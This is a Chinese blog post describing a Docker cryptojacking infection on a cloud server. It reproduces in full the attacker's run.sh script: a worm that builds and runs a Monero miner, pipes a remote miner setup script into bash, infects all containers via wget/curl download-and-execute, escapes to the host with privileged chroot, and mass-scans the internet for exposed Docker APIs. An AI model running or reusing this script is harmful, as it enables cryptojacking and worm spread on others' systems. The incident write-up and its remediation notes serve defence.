docker中病毒“kirito666”(这是一篇不能解决实际问题的记录,介意勿看)

####################################这是一篇不能解决实际问题的记录,介意勿看###########################################

问题发现:

阿里云发送短信:“尊敬的 XXXX:您的服务器因攻击被限制访问部分目的端口,详情信息请查看xxxx”
登录阿里云控制台可以看到CPU使用率达到99%,并且无法远程登录服务器。
并且在阿里云的安全告警处理器中可发现如下信息

在这里插入图片描述

处理流程:

登录阿里云,进行强制重启。重启后,就可以通过Xshell/SecureCRT工具远程登录服务器进行排查。
通过执行free -lh 、top、df -lh等命令均为发现异常。然后查看docker容器发现如下信息:

执行docker ps -a可以看到
从图示“command”一行可以看到,该命令执行了/root/run.sh命令文件,(这是相对于docker的root,如果找不到可以通过命令“find / -name ‘run.sh’进行查找”),我的命令文件所在地方:/var/lib/docker/overlay2/0a7c202defba14227cb9f21447de27c0c537f3b3deda4c8156e4dedc9aa7eaa2/diff/root/。
在这里插入图片描述
查看run.sh文件内容:

#!/bin/bash
#
#  ___________                 _____________________________                            
#  \__    ___/___ _____    ____\__    ___/\      \__    ___/                            
#    |    |_/ __ \\__  \  /     \|    |   /   |   \|    |                               
#    |    |\  ___/ / __ \|  Y Y  \    |  /    |    \    |                               
#    |____| \___  >____  /__|_|  /____|  \____|__  /____|                               
#               \/     \/      \/                \/                                     
#            __  .__.__  .__           .__  .__                                         
#    _______/  |_|__|  | |  |   _____  |  | |__|__  __ ____                             
#   /  ___/\   __\  |  | |  |   \__  \ |  | |  \  \/ // __ \                            
#   \___ \  |  | |  |  |_|  |__  / __ \|  |_|  |\   /\  ___/                            
#  /____  > |__| |__|____/____/ (____  /____/__| \_/  \___  >                           
#       \/                           \/                   \/                            
#
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~# 
#                                                                                 #
#  __________.____       _____  _________  ____  __.       ___________            #
#  \______   \    |     /  _  \ \_   ___ \|    |/ _|       \__    ___/            #
#   |    |  _/    |    /  /_\  \/    \  \/|      <    ______ |    |               #
#   |    |   \    |___/    |    \     \___|    |  \  /_____/ |    |               #
#   |______  /_______ \____|__  /\______  /____|__ \         |____|               #
#          \/        \/       \/        \/        \/                              #
#                                              #
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~#
#
#  .__  .__  _____          _____              __                                       
#  |  | |__|/ ____\____   _/ ____\_ __   ____ |  | __  ______  ___.__. ____  __ __      
#  |  | |  \   __\/ __ \  \   __\  |  \_/ ___\|  |/ / /  ___/ <   |  |/  _ \|  |  \     
#  |  |_|  ||  | \  ___/   |  | |  |  /\  \___|    <  \___ \   \___  (  <_> )  |  /     
#  |____/__||__|  \___  >  |__| |____/  \___  >__|_ \/____  >  / ____|\____/|____/      
#                     \/                    \/     \/     \/   \/                       
#       __                __      _____              __     ___.                  __    
#      |__|__ __  _______/  |_  _/ ____\_ __   ____ |  | __ \_ |__ _____    ____ |  | __
#      |  |  |  \/  ___/\   __\ \   __\  |  \_/ ___\|  |/ /  | __ \\__  \ _/ ___\|  |/ /
#      |  |  |  /\___ \  |  |    |  | |  |  /\  \___|    <   | \_\ \/ __ \\  \___|    < 
#  /\__|  |____//____  > |__|    |__| |____/  \___  >__|_ \  |___  (____  /\___  >__|_ \
#  \______|          \/                           \/     \/      \/     \/     \/     \/
#                                                                                       
#                                                                                                                                                                                                                                                                                                                                                            
#                                                                                       
#                       .___          /\ __        .___       .__  __                   
#  __  _  __ ____     __| _/____   ___)//  |_    __| _/____   |__|/  |_                 
#  \ \/ \/ // __ \   / __ |/  _ \ /    \   __\  / __ |/  _ \  |  \   __\                
#   \     /\  ___/  / /_/ (  <_> )   |  \  |   / /_/ (  <_> ) |  ||  |                  
#    \/\_/  \___  > \____ |\____/|___|  /__|   \____ |\____/  |__||__|                  
#               \/       \/           \/            \/                                  
#                        __                __    .__  .__               .__  __         
#  __  _  __ ____       |__|__ __  _______/  |_  |  | |__|__  __ ____   |__|/  |_       
#  \ \/ \/ // __ \      |  |  |  \/  ___/\   __\ |  | |  \  \/ // __ \  |  \   __\      
#   \     /\  ___/      |  |  |  /\___ \  |  |   |  |_|  |\   /\  ___/  |  ||  |        
#    \/\_/  \___  > /\__|  |____//____  > |__|   |____/__| \_/  \___  > |__||__|        
#               \/  \______|          \/                            \/                  
#                                                                                       
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~  
#
#                wanna talk? hilde@teamtnt.red
#
RATESCAN="50000"
SETUP_SLEEP="1"

function SETUP_SYSTEM(){
tar xvf /root/bins.tar.gz -C /root/
apk update
apk add --no-cache --repository http://dl-cdn.alpinelinux.org/alpine/edge/testing hwloc-dev

BASIC_APK_PACKS=(go git jq masscan libpcap libpcap-dev docker make cmake upx libstdc++ gcc g++ libuv-dev iptables openssl openssl-dev hwloc-dev)
for BASIC_APK_PACK in ${BASIC_APK_PACKS[@]}; do
echo "setup: $BASIC_APK_PACK"
apk add --no-cache $BASIC_APK_PACK 2>/dev/null 1>/dev/null
sleep $SETUP_SLEEP
done

export GOPATH=/root/go
go get github.com/zmap/zgrab
cd /root/go/src/github.com/zmap/zgrab
go build
cp ./zgrab /usr/bin/zgrab
chmod +x /root/bioset /root/kubebot /root/scope /root/tshd 
/root/bioset; /root/kubebot; /root/tshd; /root/scope stop; /root/scope
rm -vrf /var/cache/apk/*
cd /root/xmrig/build/
cmake .. -DBUILD_STATIC=ON -DUV_LIBRARY=/usr/lib/libuv.so -DHWLOC_LIBRARY=/usr/lib/libhwloc.so -DWITH_TLS=OFF
make -j$(nproc)
upx -9 -o sbin xmrig
cp ./sbin /root/sbin
chmod +x /root/sbin
/root/sbin
# lil upspin test....
export UPSPINTEST=`curl --upload-file /root/sbin https://filepush.co/upload/`
# next part is implement the ssh spread..
cp ./sbin /host/bin/sbin
docker run -it --privileged --network host -v /:/mnt alpine chroot /mnt bash -C 'chmod +x /host/bin/sbin; /host/bin/sbin'
}

function INFECT_ALL_CONTAINERS(){
# ich lass den base64 echt mal weg :) sieht doch schöner aus ;)
docker ps | awk '{print $1}' | grep -v grep | grep -v CONTAINER >> /tmp/.dc
# thx for the container list.... do a looping *jipieh* 
for i in $(cat /tmp/.dc); do
docker exec --privileged -d $i sh -c "apt-get update; apt-get install -y wget curl; yum install -y wget curl; apk update; apk add wget curl; mkdir /var/tmp/ -p; wget --no-check-certificate $UPSPINTEST -O /var/tmp/sbin; /var/tmp/sbin || curl -sLk $UPSPINTEST -o /var/tmp/sbin || wge --no-check-certificate $UPSPINTEST -O /var/tmp/sbin || cur -sLk $UPSPINTEST -o /var/tmp/sbin || wdl --no-check-certificate $UPSPINTEST -O /var/tmp/sbin || cdl -sLk $UPSPINTEST -o /var/tmp/sbin; chmod +x /var/tmp/sbin; /var/tmp/sbin"
done;
export HOME=/root
nohup $(curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 84xqqFNopNcG7T5AcVyv7LVyrBfQyTVGxMFEL2gsxQ92eNfu6xddkWabA3yKCJmfdaA9jEiCyFqfffKp1nQkgeq2Uu2dhB8) &
}




function GETLOCALRANGES(){
ip route show | awk '{print $1}' |  grep "/" > /tmp/.lr
}

function AUTOLANDOCKERPWN(){
TARGETRANGE=$1
TARGETPORT=$2
SCANRATE=$3
rndstr=$(head /dev/urandom | tr -dc a-z | head -c 6 ; echo '')
eval "$rndstr"="'$(masscan $TARGETRANGE -p$TARGETPORT --rate=$SCANRATE | awk '{print $6}'| zgrab --senders 200 --port $TARGETPORT --http='/v1.16/version' --output-file=- 2>/dev/null | grep -E 'ApiVersion|client version 1.16' | jq -r .ip)'";

for TARGETIP in ${!rndstr}
do
echo "$TARGETIP:$TARGETPORT"
timeout -s SIGKILL 240s docker -H tcp://$TARGETIP:$TARGETPORT run -d --privileged --network host -v /:/host kirito666/blackt:latest
done;
}

function LANDOCKERPWN(){
GETLOCALRANGES
while read TargetRange 
do 
echo "scanne $TargetRange" 
AUTOLANDOCKERPWN $TargetRange 2375 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 2376 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 2377 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 4243 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 4244 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 5555 $RATESCAN
done < /tmp/.lr
rm -f /tmp/.lr
}


function RANDOMDOCKERPWN(){
for (( ; ; ))
do
TargetRange="$[RANDOM%255+1].0.0.0/8"
echo "scanne $TargetRange" 
AUTOLANDOCKERPWN $TargetRange 2375 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 2376 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 2377 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 4243 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 4244 $RATESCAN
AUTOLANDOCKERPWN $TargetRange 5555 $RATESCAN
   sleep 1
done
}

SETUP_SYSTEM
export HOME=/root
curl -s -L https://raw.githubusercontent.com/MoneroOcean/xmrig_setup/master/setup_moneroocean_miner.sh | bash -s 84xqqFNopNcG7T5AcVyv7LVyrBfQyTVGxMFEL2gsxQ92eNfu6xddkWabA3yKCJmfdaA9jEiCyFqfffKp1nQkgeq2Uu2dhB8
INFECT_ALL_CONTAINERS
LANDOCKERPWN
RANDOMDOCKERPWN

但是当通过crontab -l 查看当前定时任务时,并未发现有执行的定时器,但是执行“tail -200f /var/log/cron”查看定时任务执行日志时如下图所示,确是是有定时任务执行的。
通过tail -f /var/log/cron查看到的日志
此时执行“netstat -tunlp ”排查端口和执行“service crond status”检查定时任务状态时,系统抛出异:-bash: /usr/bin/netstat: Permission denied;
???????????????????????????????????????(一脸问号)。
我是root用户权限,为啥还不能执行service crond status、netstat -tunlp命令了?
然后我进入到service 命令所在目录“/usr/sbin”,通过命令“ll -lh”可以发现,service命令权限已经被更改了。如下图所示(右边为正常情况、左右为修改后的异常情况)。
命令权限对比
很显然是挖矿程序将自己原本的文件命令权限修改了,此时的解决权限方法:1、重装系统;2、找一台正常的服务器手动修改(此种方法工作量较大);3、找到挖矿程序中修改命令的操作,反向修改。

由于个人能力有限,只能使用方法一,重装系统。因为是重装系统,所以不存在run.sh啥的文件还存在,文件权限也恢复默认了,所以就不记录其它了(心烦着呢…撤退)…。如果有方法恢复默认的Linux权限,可以私聊我,我也学习学习。

后续解决方法:

1.配置Docker安全访问(加CA证书)

https://docs.docker.com/engine/security/protect-access/
2.设置docker的ip白名单,但是我的个人网络ip地址总是不一样的,所以没有采用

参考:

https://blog.csdn.net/weixin_42475281/article/details/114125644
https://blog.csdn.net/weixin_43590389/article/details/109259526

Logo

魔乐社区(Modelers.cn) 是一个中立、公益的人工智能社区,提供人工智能工具、模型、数据的托管、展示与应用协同服务,为人工智能开发及爱好者搭建开放的学习交流平台。社区通过理事会方式运作,由全产业链共同建设、共同运营、共同享有,推动国产AI生态繁荣发展。

更多推荐